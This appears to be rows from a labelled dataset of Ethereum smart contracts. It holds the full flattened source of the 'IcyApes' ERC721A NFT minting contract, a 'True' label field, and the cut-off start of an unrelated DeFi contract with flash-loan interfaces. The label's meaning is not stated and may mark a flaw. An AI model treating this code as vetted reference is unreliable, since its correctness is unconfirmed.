* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: openzeppelin-solidity/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: openzeppelin-solidity/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts/ERC721A.sol
// Creator: Chiru Labs
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**128 - 1 (max value of uint128).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
}
// Compiler will pack the following
// _currentIndex and _burnCounter into a single 256bit word.
// The tokenId of the next token to be minted.
uint128 internal _currentIndex;
// The number of tokens burned.
uint128 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex times
unchecked {
return _currentIndex - _burnCounter;
}
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
uint256 numMintedSoFar = _currentIndex;
uint256 tokenIdsIdx;
// Counter overflow is impossible as the loop breaks when
// uint256 i is equal to another uint256 numMintedSoFar.
unchecked {
for (uint256 i; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (!ownership.burned) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
}
revert TokenIndexOutOfBounds();
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
if (index >= balanceOf(owner)) revert OwnerIndexOutOfBounds();
uint256 numMintedSoFar = _currentIndex;
uint256 tokenIdsIdx;
address currOwnershipAddr;
// Counter overflow is impossible as the loop breaks when
// uint256 i is equal to another uint256 numMintedSoFar.
unchecked {
for (uint256 i; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.burned) {
continue;
}
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
}
// Execution should never reach this point.
revert();
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (!_checkOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < _currentIndex && !_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
// updatedIndex overflows if _currentIndex + quantity > 3.4e38 (2**128) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
updatedIndex++;
}
_currentIndex = uint128(updatedIndex);
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**128.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**128.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: contracts/IcyApes.sol
pragma solidity ^0.8.4;
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract IcyApes is ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant maxSupply = 2000;
uint256 public constant freeMints = 1600;
uint256 public constant maxFreeMintsPerWallet = 20;
uint256 public reservedAssets = 0;
uint256 public maxPurchase = 20;
uint256 public _price = 0.015 ether;
string public _baseTokenURI;
string public _uriSuffix = ".json";
bool public isSaleActive;
address proxyRegistryAddress;
mapping (uint256 => string) private _tokenURIs;
mapping (address => uint256) private freeMintsWallet;
constructor(string memory baseURI, address _proxyRegistryAddress) ERC721A("Icy Apes", "ICYAPES") {
setBaseURI(baseURI);
isSaleActive = false;
proxyRegistryAddress = _proxyRegistryAddress;
}
function mintNFT(uint256 numAssets) external payable {
require(isSaleActive, "Sale is not active!");
require(numAssets >= 0 && numAssets <= maxPurchase,
"You can only mint 20 assets at a time!");
require(totalSupply().add(numAssets) <= maxSupply - reservedAssets,
"Not enough assets available...");
if(totalSupply().add(numAssets) > freeMints){
require(msg.value >= _price.mul(numAssets),
"Not enough ETH for this purchase!");
}else{
require(totalSupply().add(numAssets) <= freeMints,
"You would exceed the number of free mints");
require(freeMintsWallet[msg.sender].add(numAssets) <= maxFreeMintsPerWallet,
"You can only mint 20 assets for free!");
freeMintsWallet[msg.sender] += numAssets;
}
_safeMint(msg.sender, numAssets);
}
function assetOfOwner(address _owner) external view returns(uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory tokensId = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++){
tokensId[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokensId;
}
}
function setPrice(uint256 newPrice) public onlyOwner {
_price = newPrice;
}
function flipSaleState() public onlyOwner {
isSaleActive = !isSaleActive;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_baseTokenURI = baseURI;
}
function setUriSuffix(string memory uriSuffix) public onlyOwner {
_uriSuffix = uriSuffix;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), _uriSuffix)) : "";
}
function mintNFTS(address _to, uint256 _amount) external onlyOwner() {
require(totalSupply().add(_amount) <= maxSupply - reservedAssets,
"Hold up! You would buy more assets than available...");
_safeMint(_to, _amount);
}
function withdrawAll() public onlyOwner {
uint256 balance = address(this).balance;
require(payable(msg.sender).send(balance),
"Withdraw did not work...");
}
function isApprovedForAll(address owner, address operator) override public view returns(bool){
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
function setProxyRegistryAddress(address proxyAddress) external onlyOwner {
proxyRegistryAddress = proxyAddress;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-14
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10;
abstract contract IDSProxy {
// function execute(bytes memory _code, bytes memory _data)
// public
// payable
// virtual
// returns (address, bytes32);
function execute(address _target, bytes memory _data) public payable virtual returns (bytes32);
function setCache(address _cacheAddr) public payable virtual returns (bool);
function owner() public view virtual returns (address);
}
abstract contract ILendingPool {
function flashLoan(
address payable _receiver,
address _reserve,
uint256 _amount,
bytes calldata _params
) external virtual;
function deposit(
address _reserve,
uint256 _amount,
uint16 _referralCode
) external payable virtual;
function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral)
external
virtual;
function borrow(
address _reserve,
uint256 _amount,
uint256 _interestRateMode,
uint16 _referralCode
) external virtual;
function repay(
address _reserve,
uint256 _amount,
address payable _onBehalfOf
) external payable virtual;
function swapBorrowRateMode(address _reserve) external virtual;
function getReserves() external view virtual returns (address[] memory);
/// @param _reserve underlying token address
function getReserveData(address _reserve)
external
view
virtual
returns (
uint256 totalLiquidity, // reserve total liquidity
uint256 availableLiquidity, // reserve available liquidity for borrowing
uint256 totalBorrowsStable, // total amount of outstanding borrows at Stable rate
uint256 totalBorrowsVariable, // total amount of outstanding borrows at Variable rate
uint256 liquidityRate, // current deposit APY of the reserve for depositors, in Ray units.
uint256 variableBorrowRate, // current variable rate APY of the reserve pool, in Ray units.
uint256 stableBorrowRate, // current stable rate APY of the reserve pool, in Ray units.
uint256 averageStableBorrowRate, // current average stable borrow rate
uint256 utilizationRate, // expressed as total borrows/total liquidity.
uint256 liquidityIndex, // cumulative liquidity index
uint256 variableBorrowIndex, // cumulative variable borrow index
address aTokenAddress, // aTokens contract address for the specific _reserve
uint40 lastUpdateTimestamp // timestamp of the last update of reserve data
);
/// @param _user users address
function getUserAccountData(address _user)
external
view
virtual
returns (
uint256 totalLiquidityETH, // user aggregated deposits across all the reserves. In Wei
uint256 totalCollateralETH, // user aggregated collateral across all the reserves. In Wei
uint256 totalBorrowsETH, // user aggregated outstanding borrows across all the reserves. In Wei
uint256 totalFeesETH, // user aggregated current outstanding fees in ETH. In Wei
uint256 availableBorrowsETH, // user available amount to borrow in ETH
uint256 currentLiquidationThreshold, // user current average liquidation threshold across all the collaterals deposited
uint256 ltv, // user average Loan-to-Value between all the collaterals
uint256 healthFactor // user current Health Factor
);
/// @param _reserve underlying token address
/// @param _user users address
function getUserReserveData(address _reserve, address _user)
external
view
virtual
returns (
uint256 currentATokenBalance, // user current reserve aToken balance
uint256 currentBorrowBalance, // user current reserve outstanding borrow balance
uint256 principalBorrowBalance, // user balance of borrowed asset
uint256 borrowRateMode, // user borrow rate mode either Stable or Variable
uint256 borrowRate, // user current borrow rate APY
uint256 liquidityRate, // user current earn rate on _reserve
uint256 originationFee, // user outstanding loan origination fee
uint256 variableBorrowIndex, // user variable cumulative index
uint256 lastUpdateTimestamp, // Timestamp of the last data update
bool usageAsCollateralEnabled // Whether the user's current reserve is enabled as a collateral
);
function getReserveConfigurationData(address _reserve)
external
view
virtual
returns (
uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus,
address rateStrategyAddress,
bool usageAsCollateralEnabled,
bool borrowingEnabled,
bool stableBorrowRateEnabled,
bool isActive
);
// ------------------ LendingPoolCoreData ------------------------
function getReserveATokenAddress(address _reserve) public view virtual returns (address);
function getReserveConfiguration(address _reserve)
external
view
virtual
returns (
uint256,
uint256,
uint256,
bool
);
function getUserUnderlyingAssetBalance(address _reserve, address _user)
public
view
virtual
returns (uint256);
function getReserveCurrentLiquidityRate(address _reserve) public view virtual returns (uint256);
function getReserveCurrentVariableBorrowRate(address _reserve)
public
view
virtual
returns (uint256);
function getReserveTotalLiquidity(address _reserve) public view virtual returns (uint256);
function getReserveAvailableLiquidity(address _reserve) public view virtual returns (uint256);
function getReserveTotalBorrowsVariable(address _reserve) public view virtual returns (uint256);
// ---------------- LendingPoolDataProvider ---------------------
function calculateUserGlobalData(address _user)
public
view
virtual
returns (
uint256 totalLiquidityBalanceETH,
uint256 totalCollateralBalanceETH,
uint256 totalBorrowBalanceETH,
uint256 totalFeesETH,
uint256 currentLtv,
uint256 currentLiquidationThreshold,
uint256 healthFactor,
bool healthFactorBelowThreshold
);
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256 digits);
function totalSupply() external view returns (uint256 supply);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
abstract contract IWETH {
function allowance(address, address) public virtual view returns (uint256);
function balanceOf(address) public virtual view returns (uint256);
function approve(address, uint256) public virtual;
function transfer(address, uint256) public virtual returns (bool);
function transferFrom(
address,
address,
uint256
) public virtual returns (bool);
function deposit() public payable virtual;
function withdraw(uint256) public virtual;
}
abstract contract IFLParamGetter {
function getFlashLoanParams(bytes memory _data)
public
view
virtual
returns (
address[] memory tokens,
uint256[] memory amount,
uint256[] memory modes
);
}
abstract contract ILendingPoolAddressesProvider {
function getLendingPool() public view virtual returns (address);
function setLendingPoolImpl(address _pool) public virtual;
function getLendingPoolCore() public view virtual returns (address payable);
function setLendingPoolCoreImpl(address _lendingPoolCore) public virtual;
function getLendingPoolConfigurator() public view virtual returns (address);
function setLendingPoolConfiguratorImpl(address _configurator) public virtual;
function getLendingPoolDataProvider() public view virtual returns (address);
function setLendingPoolDataProviderImpl(address _provider) public virtual;
function getLendingPoolParametersProvider() public view virtual returns (address);
function setLendingPoolParametersProviderImpl(address _parametersProvider) public virtual;
function getTokenDistributor() public view virtual returns (address);
function setTokenDistributor(address _tokenDistributor) public virtual;
function getFeeProvider() public view virtual returns (address);
function setFeeProviderImpl(address _feeProvider) public virtual;
function getLendingPoolLiquidationManager() public view virtual returns (address);
function setLendingPoolLiquidationManager(address _manager) public virtual;
function getLendingPoolManager() public view virtual returns (address);
function setLendingPoolManager(address _lendingPoolManager) public virtual;
function getPriceOracle() public view virtual returns (address);
function setPriceOracle(address _priceOracle) public virtual;
function getLendingRateOracle() public view virtual returns (address);
function setLendingRateOracle(address _lendingRateOracle) public virtual;
}
library EthAddressLib {
function ethAddress() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
}
}
abstract contract IDFSRegistry {
function getAddr(bytes4 _id) public view virtual returns (address);
function addNewContract(
